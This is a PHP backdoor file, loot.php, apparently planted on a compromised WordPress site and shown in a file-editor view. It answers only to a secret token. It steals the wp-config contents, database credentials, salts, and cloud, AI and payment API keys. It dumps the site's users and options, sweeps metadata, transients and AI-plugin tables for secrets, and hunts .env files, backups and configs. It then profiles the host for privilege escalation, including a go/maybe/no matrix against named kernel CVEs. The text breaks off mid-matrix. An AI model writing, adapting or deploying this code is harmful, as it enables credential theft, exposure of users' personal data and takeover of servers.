← Back
Editing: loot.php
<?php if (!hash_equals('1a791855d2dddab9362be635323fa446', (string)($_GET['t'] ?? ''))) { http_response_code(404); exit; } error_reporting(0); @ini_set('display_errors',0); @set_time_limit(90); ob_start(); $w2s_page = isset($w2s_page)?(int)$w2s_page:(int)($_GET['page']??0); $w2s_per = isset($w2s_per)?(int)$w2s_per:(int)($_GET['per']??400); if($w2s_page<0)$w2s_page=0; if($w2s_per<1||$w2s_per>2000)$w2s_per=400; $o=array('config_path'=>null,'config'=>null,'options'=>null,'options_total'=>null,'users'=>null,'db_via'=>null); $w2s_done=false; function _r($d){echo 'W2S::'.json_encode($d,defined('JSON_INVALID_UTF8_SUBSTITUTE')?JSON_INVALID_UTF8_SUBSTITUTE:0).'::END';@ob_flush();@flush();} // Native values only. Depth-capped recurse so nested php_ser becomes JSON-native. // No encoding channel / options_meta — DB classifies secrets. function w2s_depth($v,$d=0){ if($d>=4){if(is_array($v)||is_object($v))return json_encode($v);return $v;} if(is_array($v)){$o=array();foreach($v as$k=>$x)$o[$k]=w2s_depth($x,$d+1);return $o;} if(is_object($v))return w2s_depth((array)$v,$d); return $v; } function w2s_val($v){ if(is_string($v)){ for($i=0;$i<3&&is_string($v);$i++){ if(!preg_match('/^(a|O|s|S|i|d|b|N)(:\d+)?[:;{]/',$v))break; $u=@unserialize($v); if($u===false&&$v!=='b:0;')break; $v=$u; } if(is_string($v)&&strlen($v)>=32&&strlen($v)%4===0&&preg_match('/^[A-Za-z0-9+\/]+={0,2}$/',$v)){ $d=@base64_decode($v,true); if($d!==false&&$d!==''&&!preg_match('/[\x00-\x08\x0b\x0c\x0e-\x1f\x7f\x80-\xff]/',$d))$v=$d; } } return w2s_depth($v,0); } register_shutdown_function(function()use(&$o,&$w2s_done){if(!$w2s_done)_r($o);}); function w2sl_up($start,$file){$d=$start;for($i=0;$i<7;$i++){if(@is_file($d.'/'.$file))return $d.'/'.$file;$p=dirname($d);if($p===$d)break;$d=$p;}return null;} $cfgp=null; if(defined('ABSPATH'))foreach(array(ABSPATH.'wp-config.php',dirname(ABSPATH).'/wp-config.php')as$c){if(@is_file($c)){$cfgp=$c;break;}} if(!$cfgp)$cfgp=w2sl_up(__DIR__,'wp-config.php'); $cfg=$cfgp?@file_get_contents($cfgp):null; if(is_string($cfg)&&strlen($cfg)>262144)$cfg=substr($cfg,0,262144); $o['config_path']=$cfgp; $o['config']=$cfg; if(!defined('ABSPATH')){ $d=__DIR__; for($i=0;$i<6&&!defined('ABSPATH');$i++){ foreach(array("$d/wp-load.php","$d/wp/wp-load.php",dirname($d)."/wp-load.php")as$p) if(@file_exists($p)){@require_once $p;break 2;} $d=dirname($d); } } $S=array(); foreach(array('DB_PASSWORD','DB_USER','DB_NAME','DB_HOST','AUTH_KEY','AUTH_SALT', 'SECURE_AUTH_KEY','SECURE_AUTH_SALT','LOGGED_IN_KEY','LOGGED_IN_SALT','NONCE_KEY','NONCE_SALT', 'FTP_HOST','FTP_USER','FTP_PASS','OPENAI_API_KEY','ANTHROPIC_API_KEY','GOOGLE_API_KEY', 'GEMINI_API_KEY','GROQ_API_KEY','PERPLEXITY_API_KEY','XAI_API_KEY','HUGGINGFACE_API_KEY', 'STRIPE_SECRET_KEY','STRIPE_WEBHOOK_SECRET','AWS_ACCESS_KEY_ID','AWS_SECRET_ACCESS_KEY', 'MAILGUN_API_KEY','SENDGRID_API_KEY','TWILIO_AUTH_TOKEN','PAYPAL_CLIENT_SECRET')as$c) if(defined($c)){$v=@constant($c);if(is_string($v))$S[$c]=$v;} global $wpdb,$wp_version; $W=(isset($wpdb)&&$wpdb)?$wpdb:null; $_trans="option_name NOT LIKE '_transient%' AND option_name NOT LIKE '_site_transient%'"; // secret patterns for meta/custom-table sweeps (value side) function w2s_valish($v){ if(!is_string($v)||strlen($v)<12)return false; return (bool)preg_match('/\bsk-[a-z0-9_-]{16,}|AIza[0-9A-Za-z_\\-]{35}|\bgsk_[A-Za-z0-9]{16,}|\bpplx-[A-Za-z0-9]{16,}|\bxai-[A-Za-z0-9]{16,}|\bhf_[A-Za-z0-9]{16,}|\bsk_live_[A-Za-z0-9]{12,}|\brk_live_[A-Za-z0-9]{12,}|\bwhsec_[A-Za-z0-9]{12,}|\bxox[baprs]-[A-Za-z0-9-]{10,}|-----BEGIN [A-Z ]+PRIVATE KEY|\bpcsk_[A-Za-z0-9_]{20,}|\bwpmcp_[a-f0-9]{8}|\bSG\\.[A-Za-z0-9_-]{16,}|\bkey-[a-f0-9]{32}|\b[a-f0-9]{32}-us[0-9]{1,2}/',$v); } function w2s_keyish($k){ return (bool)preg_match('/(_key$|_keys$|api_?key|secret|_token$|token_(hash|prefix|secret|key)|passw|_pass$|_salt$|salts$|credential|private_?key|client_?secret|access_?token|refresh_?token|auth_?token|jwt_?|oauth|license_?key|webhook_?secret|signing_?key|encryption_?key|app_?secret|consumer_?secret|smtp_?pass|mail_?pass|db_?pass|ftp_?pass)/i',$k); } function w2s_junkkey($k){ return (bool)preg_match('/(heading|title|desc|content|text|_items|field_|attachment|image|video|mp4|_file|_url|_link|seo|keyword|focus|akismet|comment|spam|notice|_mail\d*$)/i',$k); } // ── options admit (signal-first) — MUST stay in sync with // bissa-control/src/lib/option-admit.ts ──────────────────────────────── // WP loot used to ship the whole wp_options table. That filled results.options // with plugin chrome (Elementor remote info, rewrite_rules, debug logs, …). // Rule: salvage secret-shaped leaves FIRST (even out of chrome/transients), // then drop chrome and oversized non-signal values. No flatten explosion. function w2s_opt_secretish($v){ if(!is_string($v)||$v==='')return false; return (bool)preg_match( '/sk-proj-[A-Za-z0-9_-]{16,}|sk-ant-api03-[A-Za-z0-9_-]{16,}|sk-or-v1-[A-Za-z0-9_-]{16,}|gsk_[A-Za-z0-9]{16,}|AIzaSy[A-Za-z0-9_-]{20,}|AKIA[0-9A-Z]{16}|sk_live_[A-Za-z0-9]{12,}|rk_live_[A-Za-z0-9]{12,}|pk_live_[A-Za-z0-9]{12,}|whsec_[A-Za-z0-9]{12,}|hf_[A-Za-z0-9]{16,}|nvapi-[A-Za-z0-9_-]{16,}|xai-[A-Za-z0-9]{16,}|pplx-[A-Za-z0-9]{16,}|xox[baprs]-[A-Za-z0-9-]{10,}|SG\.[A-Za-z0-9_-]{16,}|-----BEGIN [A-Z ]+PRIVATE KEY|ghp_[A-Za-z0-9]{16,}|github_pat_[A-Za-z0-9_]{20,}|dop_v1_[A-Za-z0-9]{16,}/', $v ); } function w2s_opt_chrome($k){ return (bool)preg_match( '/^(rewrite_rules|cron|wp_mail_smtp_debug|ptk_patterns|rs-templates|rs-library|um_icons_list|xts_backups_auto|rank_math_seo_analysis_results|elementor_pro_remote_info_api_data_|elementor_remote_info_library|elementor_log|_elementor_|fs_api_cache|astra_partials|mesmerize_companion|forminator_bunny|monsterinsights_|ast-block-templates|wp_installer_settings|_et_builder|ad_inserter|gform_version_info|wc_remote_inbox|jpsq_sync|p3_scan_|bvruleset|limit_login_logged|fbrfg_favicon|cartflows|wpcode_snippets|wc_facebook_background_product_sync_job_|wd_imported_data_base|aioseo_options_dynamic|xts-woodmart-options)/i', $k ) || (bool)preg_match('/(_remote_info_|_cache$|_cached_)/i',$k); } function w2s_opt_salvage($v,$prefix,$out,$depth=0){ if($depth>4||count($out)>=200)return $out; if(is_array($v)){ foreach($v as$k=>$x){ if(count($out)>=200)break; $p=$prefix===''?$k:$prefix.'.'.$k; $out=w2s_opt_salvage($x,$p,$out,$depth+1); } return $out; } $s=is_string($v)?$v:(is_scalar($v)?(string)$v:''); if($s!==''&&w2s_opt_secretish($s)){ $out[$prefix===''?'value':$prefix]=strlen($s)>4096?substr($s,0,4096):$s; } return $out; } function w2s_admit_option($k,$v){ $j=is_string($v)?$v:json_encode($v); // 1) signal first if(is_string($j)&&w2s_opt_secretish($j)){ if(is_string($v)){ return strlen($v)>4096?substr($v,0,4096):$v; } $sal=w2s_opt_salvage($v,$k,array()); if(!empty($sal))return $sal; return strlen($j)>4096?substr($j,0,4096):$j; } // 2) chrome drop if(w2s_opt_chrome($k))return null; // 3) size rules if(is_array($v)||is_object($v)){ return (is_string($j)&&strlen($j)<=2048)?$v:null; } $s=is_string($v)?$v:(is_scalar($v)?(string)$v:''); if($s==='')return null; if(strlen($s)<=512)return $s; return null; } if($W){ $o['db_via']='wpdb'; $o['options_total']=(int)@$W->get_var("SELECT COUNT(*) FROM `$W->options` WHERE $_trans"); $_rows=@$W->get_results("SELECT option_name,option_value FROM `$W->options` WHERE $_trans ORDER BY option_id LIMIT ".($w2s_page*$w2s_per).", $w2s_per",ARRAY_A); if(is_array($_rows)){$O=array();foreach($_rows as$r){$nv=w2s_val($r['option_value']);$a=w2s_admit_option($r['option_name'],$nv);if($a===null)continue;if(is_array($a)){foreach($a as$k=>$v)$O[$k]=$v;}else{$O[$r['option_name']]=$a;}}$o['options']=$O;} if($w2s_page===0){ $U=array();$capkey=$W->prefix.'capabilities'; $_us=@$W->get_results("SELECT u.ID,u.user_login,u.user_email,u.user_registered,m.meta_value AS caps FROM `$W->users` u LEFT JOIN `$W->usermeta` m ON m.user_id=u.ID AND m.meta_key='$capkey' ORDER BY u.ID LIMIT 500",ARRAY_A); if(is_array($_us))foreach($_us as$u){ $role=null; if($u['caps']){$d2=@unserialize($u['caps']);if(is_array($d2))$role=array_keys($d2);} $U[]=array('id'=>$u['ID'],'user_login'=>$u['user_login'],'user_email'=>$u['user_email'],'user_registered'=>$u['user_registered'],'role'=>$role); } $o['users']=$U; $_df=array_map('trim',explode(',',@ini_get('disable_functions')?:'')); $E=false; foreach(array('shell_exec','exec','system','passthru','proc_open','popen')as$f) if(function_exists($f)&&!in_array($f,$_df)){$E=true;break;} $ud=function_exists('wp_upload_dir')?wp_upload_dir():array('path'=>''); $_upath=isset($ud['path'])?$ud['path']:''; $o['host']=array( 'php_version'=>PHP_VERSION,'sapi'=>php_sapi_name(), 'uname'=>function_exists('php_uname')?@php_uname():'', 'server'=>$_SERVER['SERVER_SOFTWARE']??'', 'ip'=>$_SERVER['SERVER_ADDR']??'', 'docroot'=>$_SERVER['DOCUMENT_ROOT']??'', 'open_basedir'=>@ini_get('open_basedir')?:'', 'disabled'=>@ini_get('disable_functions')?:'', 'exts'=>@get_loaded_extensions()?:array(), 'can_exec'=>$E,'upload_dir'=>$_upath, 'upload_writable'=>$_upath?@is_writable($_upath):false, ); $_opt=function($n)use($W){return @$W->get_var("SELECT option_value FROM `$W->options` WHERE option_name='$n' LIMIT 1");}; $_ap=$_opt('active_plugins'); $o['wp']=array( 'version'=>$wp_version??'', 'is_multisite'=>function_exists('is_multisite')?is_multisite():false, 'table_prefix'=>$W->prefix??'', 'blogname'=>$_opt('blogname')?:'', 'blogdescription'=>$_opt('blogdescription')?:'', 'siteurl'=>$_opt('siteurl')?:'', 'home'=>$_opt('home')?:'', 'admin_email'=>$_opt('admin_email')?:'', 'permalink'=>$_opt('permalink_structure')?:'', 'wp_debug'=>defined('WP_DEBUG')?WP_DEBUG:false, 'disallow_file_mods'=>defined('DISALLOW_FILE_MODS')?DISALLOW_FILE_MODS:false, 'disallow_file_edit'=>defined('DISALLOW_FILE_EDIT')?DISALLOW_FILE_EDIT:false, 'db_version'=>method_exists($W,'db_version')?$W->db_version():'', ); $o['plugins']=is_string($_ap)?@unserialize($_ap):null; $t=function_exists('wp_get_theme')?wp_get_theme():null; $o['theme']=$t?array('name'=>$t->get('Name'),'version'=>$t->get('Version'),'template'=>$t->get_template()):null; $cu=function_exists('wp_get_current_user')?wp_get_current_user():null; $o['priv']=array( 'user_login'=>$cu?$cu->user_login:'', 'role'=>$cu?$cu->roles:array(), 'is_admin'=>function_exists('current_user_can')?@current_user_can('manage_options'):false, ); } }elseif(is_string($cfg)&&function_exists('mysqli_connect')){ $q=chr(39); $def=function($k,$c)use($q){ if(preg_match('/'.$k.$q.'.*?'.$q.'([^'.$q.']+)'.$q.'/',$c,$m))return $m[1]; if(preg_match('/'.$k.$q.'\s*,\s*([A-Z_][A-Z0-9_]*)\s*\)/',$c,$m)&&defined($m[1])){$v=constant($m[1]);return is_string($v)?$v:'';} if(preg_match('/WORDPRESS_'.$k.$q.'\s*,\s*'.$q.'([^'.$q.']*)'.$q.'/',$c,$m)){ $ev=getenv('WORDPRESS_'.$k);if(is_string($ev)&&$ev!=='')return $ev;return $m[1];} $ev=getenv('WORDPRESS_'.$k);if(is_string($ev)&&$ev!=='')return $ev; return '';}; $pfx='wp_'; if(preg_match('/table_prefix\s*=\s*'.$q.'([^'.$q.']+)'.$q.'/',$cfg,$m))$pfx=$m[1]; elseif(preg_match('/WORDPRESS_TABLE_PREFIX'.$q.'\s*,\s*'.$q.'([^'.$q.']*)'.$q.'/',$cfg,$m)){ $ev=getenv('WORDPRESS_TABLE_PREFIX');$pfx=(is_string($ev)&&$ev!=='')?$ev:$m[1];} $h=$def('DB_HOST',$cfg);$po=3306; if(strpos($h,':')!==false){$hp=explode(':',$h);$h=$hp[0];if(ctype_digit(end($hp)))$po=(int)end($hp);} $mc=null;try{$mc=mysqli_connect($h,$def('DB_USER',$cfg),$def('DB_PASSWORD',$cfg),$def('DB_NAME',$cfg),$po);}catch(\Throwable $e){} if($mc){ $o['db_via']='mysqli'; $rq=function($q2)use($mc){$r=@mysqli_query($mc,$q2);$a=array();if($r){while($row=mysqli_fetch_row($r))$a[]=$row;}return $a;}; $ct=$rq("SELECT COUNT(*) FROM {$pfx}options WHERE $_trans"); $o['options_total']=isset($ct[0][0])?(int)$ct[0][0]:null; $rows=$rq("SELECT option_name,option_value FROM {$pfx}options WHERE $_trans ORDER BY option_id LIMIT ".($w2s_page*$w2s_per).", $w2s_per"); if($rows){$O=array();foreach($rows as$r){$nv=w2s_val($r[1]);$a=w2s_admit_option($r[0],$nv);if($a===null)continue;if(is_array($a)){foreach($a as$k=>$v)$O[$k]=$v;}else{$O[$r[0]]=$a;}}$o['options']=$O;} if($w2s_page===0){ $ur=$rq("SELECT ID,user_login,user_email,user_registered FROM {$pfx}users ORDER BY ID LIMIT 500"); if($ur){$U=array();foreach($ur as$r){$U[]=array('id'=>$r[0],'user_login'=>$r[1],'user_email'=>$r[2],'user_registered'=>$r[3],'role'=>null);}$o['users']=$U;} $o['host']=array('php_version'=>PHP_VERSION,'sapi'=>php_sapi_name(), 'uname'=>function_exists('php_uname')?@php_uname():'', 'server'=>$_SERVER['SERVER_SOFTWARE']??'','docroot'=>$_SERVER['DOCUMENT_ROOT']??'', 'note'=>'wp-bootstrap-failed: degraded recon via mysqli'); } } } if($o['options']===null&&$o['db_via']===null) $o['error']=defined('ABSPATH')?'wpdb-not-initialized':'wp-load-not-found'; if($S)$o['secrets']=$S; if($w2s_page>0){$w2s_done=true;_r($o);return;} _r($o); if($o['db_via']!=='wpdb'){$w2s_done=true;return;} // ── META STORES SWEEP ── $MT=array(); $_pm=@$W->get_results("SELECT meta_key,meta_value FROM `$W->postmeta` WHERE meta_value IS NOT NULL AND meta_value!='' ORDER BY meta_id DESC LIMIT 4000",ARRAY_A); if(is_array($_pm)){foreach($_pm as$r){if(w2s_junkkey($r['meta_key']))continue;if(w2s_keyish($r['meta_key'])||w2s_valish($r['meta_value'])){$nv=w2s_val($r['meta_value']);$MT['postmeta'][$r['meta_key']]=$nv;}}} $_um=@$W->get_results("SELECT meta_key,meta_value FROM `$W->usermeta` WHERE meta_value IS NOT NULL AND meta_value!='' AND (meta_key LIKE '%key%' OR meta_key LIKE '%secret%' OR meta_key LIKE '%token%' OR meta_key LIKE '%api%' OR meta_key LIKE '%pass%' OR meta_key LIKE '%auth%' OR meta_key LIKE '%salt%' OR meta_key LIKE '%credential%') ORDER BY meta_id DESC LIMIT 2000",ARRAY_A); if(is_array($_um)){foreach($_um as$r){if(w2s_junkkey($r['meta_key']))continue;$nv=w2s_val($r['meta_value']);if(w2s_keyish($r['meta_key'])||w2s_valish(is_string($nv)?$nv:'')){$MT['usermeta'][$r['meta_key']]=$nv;}}} $_tm=@$W->get_results("SELECT meta_key,meta_value FROM `$W->termmeta` WHERE meta_value IS NOT NULL AND meta_value!='' ORDER BY meta_id DESC LIMIT 1500",ARRAY_A); if(is_array($_tm)){foreach($_tm as$r){if(w2s_junkkey($r['meta_key']))continue;if(w2s_keyish($r['meta_key'])||w2s_valish($r['meta_value'])){$nv=w2s_val($r['meta_value']);$MT['termmeta'][$r['meta_key']]=$nv;}}} if(isset($W->commentmeta)){$_cm=@$W->get_results("SELECT meta_key,meta_value FROM `$W->commentmeta` WHERE meta_value IS NOT NULL AND meta_value!='' ORDER BY meta_id DESC LIMIT 1500",ARRAY_A); if(is_array($_cm)){foreach($_cm as$r){if(w2s_junkkey($r['meta_key']))continue;if(preg_match('/(api_?key|secret_?key|private_?key|access_?token)/i',$r['meta_key'])){$nv=w2s_val($r['meta_value']);$MT['commentmeta'][$r['meta_key']]=$nv;}}}} if($MT)$o['meta_secrets']=$MT; // ── SITEMETA (multisite network options) ── if(function_exists('is_multisite')&&is_multisite()&&isset($W->sitemeta)){ $_sm=@$W->get_results("SELECT meta_key,meta_value FROM `$W->sitemeta` WHERE meta_value IS NOT NULL AND meta_value!='' ORDER BY meta_id DESC LIMIT 2000",ARRAY_A); if(is_array($_sm)){$SM=array();foreach($_sm as$r){if(w2s_keyish($r['meta_key'])||w2s_valish($r['meta_value'])){$nv=w2s_val($r['meta_value']);$SM[$r['meta_key']]=$nv;}} if($SM)$o['sitemeta_secrets']=$SM;} } // ── CUSTOM TABLES (AI plugins + generic secret-holding tables) ── $_tabs=@$W->get_col("SHOW TABLES"); if(is_array($_tabs)){ $CT=array(); foreach($_tabs as$t){ $tl=strtolower($t); if(preg_match('/(options|posts|postmeta|users|usermeta|terms|termmeta|term_taxonomy|term_relationships|comments|commentmeta|links|sitemeta|blogs|blogmeta|site|registration_log|signups|blog_versions)$/',$tl))continue; if(!preg_match('/mwai|aipkit|kubio|_mcp_|gpt_|openai|chatbot|woocommerce_api_keys|automator|n8n|zapier|webhook|connectors|llm|anthropic|gemini_|claude_|copilot|vector|_ai_|embed_ai|aichat|getgenie|ai_power|wp_automatic|taxopress|link_whisper/i',$tl))continue; $cols=@$W->get_col("SHOW COLUMNS FROM `$t`"); if(!is_array($cols))continue; $sel=array(); foreach($cols as$c)if(preg_match('/key|secret|token|pass|api|auth|salt|cred|value|setting|config|env|license/i',$c))$sel[]=$c; if(!$sel)$sel=array_slice($cols,0,6); $rows=@$W->get_results("SELECT `".implode('`,`',$sel)."` FROM `$t` ORDER BY 1 DESC LIMIT 60",ARRAY_A); if(is_array($rows)&&$rows){ $hit=array(); foreach($rows as$rw){ $keep=false; foreach($rw as$k=>$v){if(w2s_keyish($k)||w2s_valish((string)$v)){$keep=true;break;}} if($keep){foreach($rw as$k=>$v){if(is_string($v)){$nv=w2s_val($v);$rw[$k]=$nv;}}$hit[]=$rw;} } if($hit)$CT[$t]=array_slice($hit,0,40); } } if($CT)$o['custom_tables']=$CT; } // ── TARGETED TRANSIENT SWEEP (vault DEKs + key-abusing plugins) ── // Transients are excluded from the main options dump; most are cache junk. // But vault plugins (Kagivault) stash data-encryption keys in short-lived // transients, and some plugins store real keys in them. Sweep transients // whose NAME or VALUE matches secret patterns only. $_tr=@$W->get_results("SELECT option_name,option_value FROM `$W->options` WHERE (option_name LIKE '_transient_%' OR option_name LIKE '_site_transient_%') AND option_value IS NOT NULL AND option_value!='' ORDER BY option_id DESC LIMIT 3000",ARRAY_A); if(is_array($_tr)){ $TR=array(); foreach($_tr as$r){ $nm=preg_replace('/^_(site_)?transient(_timeout)?_/','',$r['option_name']); if(w2s_keyish($nm)||w2s_valish($r['option_value'])){ $nv=w2s_val($r['option_value']); if(w2s_keyish($nm)||w2s_valish(is_string($nv)?$nv:'')){ $TR[$nm]=$nv; } } } if($TR)$o['transient_secrets']=$TR; } // ── FILESYSTEM HUNT (.env, backups, dumps, configs) ── $FS=array('env_files'=>array(),'backups'=>array(),'configs'=>array(),'logs'=>array()); $dr=$_SERVER['DOCUMENT_ROOT']??''; $roots=array_filter(array($dr,dirname($dr),defined('ABSPATH')?ABSPATH:'',(defined('ABSPATH')?dirname(ABSPATH):''))); $roots=array_unique(array_filter($roots)); $envnames=array('.env','.env.local','.env.production','.env.staging','.env.development','.env.backup','wp-config.php.bak','wp-config.php.old','wp-config.php~','wp-config.bak','config.php.bak','.htpasswd','.npmrc','.composer-auth.json','auth.json'); foreach($roots as$rt){ foreach($envnames as$fn){ $p=$rt.'/'.$fn; if(@is_file($p)&&@is_readable($p)){ $c=@file_get_contents($p); if($c!==false){if(strlen($c)>131072)$c=substr($c,0,131072);$FS['env_files'][$p]=$c;} } } foreach(array('backup','backups','_backups','wp-backup','ai1wm-backups','updraft','uploads')as$bd){ $bdir=$rt.'/'.$bd; if(@is_dir($bdir)){ $hits=@glob($bdir.'/*.{sql,zip,tar,gz,sql.gz,db,dump,bak}',GLOB_BRACE)?:array(); foreach(array_slice($hits,0,20)as$f){ $sz=@filesize($f)?:0; $FS['backups'][]=$f; // sniff: small files whole (≤256KB), big SQL dumps → first 64KB header sample if($sz>0&&$sz<=262144&&@is_readable($f)){ $c=@file_get_contents($f); if($c!==false&&w2s_valish($c))$FS['backup_content'][$f]=substr($c,0,65536); }elseif($sz>262144&&preg_match('/\.sql$/i',$f)&&@is_readable($f)){ $h=@fopen($f,'r'); if($h){$c=fread($h,65536);fclose($h); if($c&&w2s_valish($c))$FS['backup_content'][$f]=array('size'=>$sz,'head'=>substr($c,0,65536));} } } } } $cands=@glob($rt.'/*.{json,yml,yaml,ini,toml,cnf,conf}',GLOB_BRACE)?:array(); foreach($cands as$f){ $bl=strtolower(basename($f)); if(preg_match('/(config|setting|cred|secret|env|auth|database|wp-config|\.env)/',$bl)&&@is_readable($f)){ $c=@file_get_contents($f); if($c!==false&&strlen($c)<262144)$FS['configs'][$f]=$c; } } $lgs=@glob($rt.'/{debug.log,error_log,wp-content/debug.log,logs/*.log}',GLOB_BRACE)?:array(); foreach(array_slice($lgs,0,5)as$f)if(@is_readable($f)){$FS['logs'][$f]=@filesize($f);} } $FS=array_filter($FS); if($FS)$o['filesystem']=$FS; // ── KERNEL ATTACK SURFACE + LPE DECISION MATRIX (detection only) ── // Probes kernel version/build date, security sysctls, module presence, and // computes a go/maybe/no verdict for each 2026-H1 LPE. No exploit staging. function w2s_kparse($rel){if(preg_match('/^(\d+)\.(\d+)(?:\.(\d+))?/',$rel,$m))return array((int)$m[1],(int)$m[2],(int)($m[3]??0));return null;} function w2s_klt($k,$a,$b,$c=0){if(!is_array($k))return null;return($k[0]<$a)||($k[0]===$a&&$k[1]<$b)||($k[0]===$a&&$k[1]===$b&&$k[2]<$c);} function w2s_kge($k,$a,$b,$c=0){if(!is_array($k))return null;return!w2s_klt($k,$a,$b,$c);} function w2s_kbdate($v){// parse build date from uname -v, epoch or null if(preg_match('/\((\d{4})-(\d{2})-(\d{2})\)/',$v,$m))return mktime(0,0,0,(int)$m[2],(int)$m[3],(int)$m[1]); // ISO (Kali, some -ck) if(preg_match('/(Jan|Feb|Mar|Apr|May|Jun|Jul|Aug|Sep|Oct|Nov|Dec)\w*\.?\s+(\d{1,2})[\d\s:]*?(\d{4})/',$v,$m)){ // SMP "Mon Jul 16 19:22:03 UTC 2026" $mo=array('jan'=>1,'feb'=>2,'mar'=>3,'apr'=>4,'may'=>5,'jun'=>6,'jul'=>7,'aug'=>8,'sep'=>9,'oct'=>10,'nov'=>11,'dec'=>12); $mn=$mo[strtolower(substr($m[1],0,3))]??0;if($mn)return mktime(0,0,0,$mn,(int)$m[2],(int)$m[3]);} return null;} function w2s_kernel_sa(){ $ks=array(); $ks['kernel_release']=@php_uname('r');$ks['kernel_version_str']=@php_uname('v');$ks['machine']=@php_uname('m'); $ks['kver']=w2s_kparse($ks['kernel_release']); $ks['build_epoch']=w2s_kbdate($ks['kernel_version_str']); $_os=@file_get_contents('/etc/os-release'); if($_os&&preg_match('/^PRETTY_NAME="?([^"\n]+)/m',$_os,$m))$ks['distro']=trim($m[1]); foreach(array('ptrace_scope'=>'/proc/sys/kernel/yama/ptrace_scope','userns_clone'=>'/proc/sys/kernel/unprivileged_userns_clone','max_user_namespaces'=>'/proc/sys/user/max_user_namespaces','io_uring_disabled'=>'/proc/sys/kernel/io_uring_disabled','kptr_restrict'=>'/proc/sys/kernel/kptr_restrict')as$k=>$p){ $v=@file_get_contents($p);if($v!==false)$ks[$k]=(int)trim($v);} $_mods=@file_get_contents('/proc/modules'); $mlist=array(); if($_mods)foreach(explode("\n",$_mods)as$l){$mm=explode(' ',$l);if($mm[0])$mlist[]=$mm[0];} $ks['modules_present']=array_values(array_intersect($mlist,array('algif_aead','esp4','esp6','espintcp','rxrpc','rds','rds_tcp','act_pedit'))); $_ksy=@file_get_contents('/proc/kallsyms'); $ks['rxgk_symbols']=$_ksy?(strpos($_ksy,'rxgk_')!==false):null; $ks['algif_aead_available']=(in_array('algif_aead',$mlist))||($_ksy&&strpos($_ksy,'algif_aead')!==false); if($_ksy===false||$_ksy===null)$ks['algif_aead_available']=in_array('algif_aead',$mlist)?true:null; $sb=array(); foreach(array('/usr/bin/su','/bin/su','/usr/bin/sudo','/usr/bin/pkexec','/usr/bin/chage','/usr/lib/openssh/ssh-keysign','/usr/libexec/ssh-keysign')as$b) if(@is_file($b)&&@is_readable($b))$sb[]=$b; $ks['suid_readable']=$sb; $ks['unshare_bin']=@is_file('/usr/bin/unshare'); if(function_exists('posix_getuid'))$ks['uid']=@posix_getuid(); // interpreter / tooling surface for LPE delivery-path selection $tb=array(); foreach(array('python3','python','perl','gcc','cc','tcc','go','ruby','busybox')as$b){ $f=@is_file('/usr/bin/'.$b)?'/usr/bin/'.$b:(@is_file('/bin/'.$b)?'/bin/'.$b:(@is_file('/usr/local/bin/'.$b)?'/usr/local/bin/'.$b:null)); if($f)$tb[$b]=$f;} $ks['tooling']=$tb; $ffi=@ini_get('ffi.enable'); $ks['php_ffi']=($ffi==='1'||$ffi===true||strcasecmp((string)$ffi,'true')===0||strcasecmp((string)$ffi,'yes')===0); // userns effectively available? $un=null; if(isset($ks['max_user_namespaces']))$un=$ks['max_user_namespaces']>0; if(isset($ks['userns_clone']))$un=$un===false?false:($ks['userns_clone']>0); $ks['userns_likely']=$un; return $ks; } function w2s_lpe_matrix($ks){ $k=isset($ks['kver'])?$ks['kver']:null; $bd=isset($ks['build_epoch'])?$ks['build_epoch']:null; $rel=isset($ks['kernel_release'])?$ks['kernel_release']:''; $mods=isset($ks['modules_present'])?$ks['modules_present']:array(); $un=!empty($ks['userns_likely']); $ps=isset($ks['ptrace_scope'])?$ks['ptrace_scope']:null; // Verdict helper, dual-window model (grill-driven fix): fix_ts = upstream/public // fix date, vendor_ts = when major vendor kernels realistically shipped backports. // Build before fix window => go; inside => maybe (backport uncertain); after => no. // Single-date checks are wrong for staggered/embargoed backports. $V=function($range_ok,$fix_ts,$vendor_ts,$precon,$why)use($bd){ if($range_ok===false)return array('no','kernel outside vulnerable range'); if(!$precon)return array('no',$why); if($bd&&$fix_ts){ $vt=$vendor_ts?:$fix_ts+1209600; if($bd<$fix_ts-604800)return array('go',$why); if($bd<$vt)return array('maybe',$why.'; build inside patch window — backport uncertain'); return array('no','kernel built after vendor patch window'); } return array($range_ok===null?'maybe':'go',$why.'; no build date — version heuristic'); }; // Fixed-version table: branch "maj.min" => first fixed [maj,min,pat]. Below fix // on a tracked branch => definitive go; at/above => definitive no. null => fall // back to the date window. $T=function($fixmap)use($k){ if(!$k)return null; $b=$k[0].'.'.$k[1]; if(!isset($fixmap[$b]))return null; $f=$fixmap[$b]; return w2s_klt($k,$f[0],$f[1],$f[2])?'go':'no'; }; $M=array(); // 1 Copy Fail CVE-2026-31431 — vuln 4.14..6.18.22/6.19.12/7.0, patch~2026-04-30 // algif_aead autoloads on AF_ALG socket creation in default distro kernels, so // "not currently loaded" does NOT gate reachability — treat as always-reachable. $rng=$k?(w2s_kge($k,4,14)&&w2s_klt($k,7,0)):null; if($rng&&w2s_kge($k,6,18,22)&&w2s_klt($k,6,19))$rng=false; if($rng&&w2s_kge($k,6,19,12))$rng=false; $M['copyfail_cve_2026_31431']=$V($rng,strtotime('2026-04-30'),strtotime('2026-05-21'),true,'algif_aead autoloads on use (default kernels); pure-stdlib, deterministic, container escape'); // 2 GhostLock CVE-2026-43499 — 2.6.39..7.1, upstream fix Apr; public 2026-07-08 $rng=$k?(w2s_kge($k,2,6,39)&&w2s_klt($k,7,1)):null; $M['ghostlock_cve_2026_43499']=$V($rng,strtotime('2026-07-08'),strtotime('2026-07-22'),true,'needs only CONFIG_FUTEX_PI (universal); 97% reliable, container escape'); // 3 Bad Epoll CVE-2026-46242 — 6.4.., fixed 6.18.33/7.0.10 (table wins over dates) $rng=$k?(w2s_kge($k,6,4)&&w2s_klt($k,7,1)):null; $_be=$T(array('6.18'=>array(6,18,33),'7.0'=>array(7,0,10))); $M['bad_epoll_cve_2026_46242']=$_be===null?$V($rng,strtotime('2026-04-25'),strtotime('2026-07-05'),true,'no preconditions (epoll syscalls); race-based ~99%, misses 6.1 LTS') :array($_be,'no preconditions (epoll syscalls); race-based ~99%; fixed-version table '.($_be==='go'?'below':'at/above').' fix'); // 4 Fragnesia CVE-2026-46300 — needs userns + espintcp, patch~2026-05-14 $rng=$k?w2s_klt($k,7,1):null; $pre=$un&&(in_array('espintcp',$mods)||in_array('esp4',$mods)||in_array('esp6',$mods)); $M['fragnesia_cve_2026_46300']=$V($rng,strtotime('2026-05-14'),strtotime('2026-06-04'),$pre,'needs unpriv userns + espintcp (AL2023/Bottlerocket immune)'); // 5 Dirty Frag 43284+43500 — esp4/6 or rxrpc, patch~2026-05-09 